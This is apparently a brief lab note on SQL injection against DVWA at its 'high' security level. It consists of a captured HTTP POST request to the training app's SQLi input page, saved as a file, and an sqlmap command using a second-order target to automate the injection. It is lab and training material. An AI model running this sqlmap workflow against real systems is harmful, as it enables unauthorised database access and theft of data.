dvwa sql 注入高级

 cat sqli.txt 

POST /dvwa/vulnerabilities/sqli/session-input.php HTTP/1.1

Host: 172.19.180.27

Proxy-Connection: keep-alive

Content-Length: 19

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0

.8

Origin: http://172.19.180.27
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/49.0.2623.112 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://172.19.180.27/dvwa/vulnerabilities/sqli/session-input.php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

Cookie: security=high; PHPSESSID=amh7ni5q8215gfj2dkgbt0b1j0

id=a&Submit=Submit

./sqlmap.py -r sqli.txt --second-order "http://172.19.180.27/dvwa/vulnerabilities/sqli/" --string "Surname"